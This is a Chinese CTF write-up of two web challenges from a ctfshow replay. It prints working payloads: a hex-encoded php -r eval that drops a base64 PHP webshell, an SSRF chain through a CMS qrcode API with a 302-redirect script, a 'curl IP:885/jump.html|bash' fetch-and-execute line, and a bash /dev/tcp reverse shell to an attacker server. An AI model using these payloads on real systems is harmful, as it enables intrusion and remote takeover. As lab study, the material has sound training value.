复现平台ctfshow

https://ctf.show/challenges

在博主打比赛的时候只解出了simple_php,easycms只能说还得练啊≥^≤

simple_php

发现禁用了很多命令,但是我们可以通过

1
php -r

来利用服务器执行php代码间接执行系统命令

在这我采用16进制来采取编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 原始字符串
$originalString = "system('ls /');";
// 使用 bin2hex 函数将原始字符串编码为十六进制
$hexString = bin2hex($originalString);
// 输出十六进制字符串
echo "Hexadecimal encoded string: " .
$hexString . "\n";
// 使用 hex2bin 函数将十六进制字符串解码回原始字
符串
$decodedString = hex2bin($hexString);
// 输出解码后的原始字符串
echo "Decoded string: " . $decodedString . "\n";
?>

利用

1
cmd=php -r eval(hex2bin(substr(_此处填 bin2hex编码之后的值,1))); //注意这个下划线是为了配合substr使用

我们直接把

1
$originalString = "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=='));";// <?php eval($_POST[1]);?>

替换到上面的代码中然后执行得到

1
66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b

然后post传参

1
cmd=php -r eval(hex2bin(substr(_66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b,1)));

直接蚁剑连接即可

发现目录里面没有flag文件,env也没查到环境变量有flag,猜测是在数据库里

检测到存在mysqli;猜测密码为root,root;登陆成功;查询flag

image-20240717151048999

easycms

1
2
3
4
5
6
7
提示
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

比赛的时候是可以直接扫出来flag.php还有一些无关紧要的文件,访问之后回显

1
Just input 'cmd' From 127.0.0.1

发现需要本地ip,可以rce,要利用到ssrf啦

官网查查历史漏洞发现

image-20240717152207644

但是应该是被修复了啊,管他呢,先去源码查查这个关键词qrcode发现在Api.php存在

image-20240717155909368

下面if判断触发访问链接为thumb提供的url

结合文章

https://xz.aliyun.com/t/11457?time__1311=mqmx0DB7e42DnDBuekGk8DkQoP4ZnYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-3

https://xz.aliyun.com/t/10002?time__1311=mq%2BxBD97qYqCqAKDsD7me5xrOD87KWqWK4D&alichlgref=https%3A%2F%2Fwww.google.com%2F

可以构造url

1
?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php

但是测试发现是没办法直接通过127.0.0.1直接访问的,我们可以利用302跳转解决这个

1
?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip

服务器index.php内容是:

1
2
3
4
5
6
7
8
9
10
11
12
GIF89a
<?php

echo "GIF89a";

$url = "http://127.0.0.1/1.php?cmd=curl IP:885/jump.html|bash";

header('location:'.$url,true,302);

exit();

?>

保存一个jump.html

1
bash -i >& /dev/tcp/服务器ip/666 0>&1

题目本身环境没问题,但是ctfshow复现环境用这个是打不通的

本地起了个服务测试是可以实现的,当时比赛也打出来了

image-20240717193338860

image-20240717193318956

第二个感觉是被修复了其实还是原来那个解法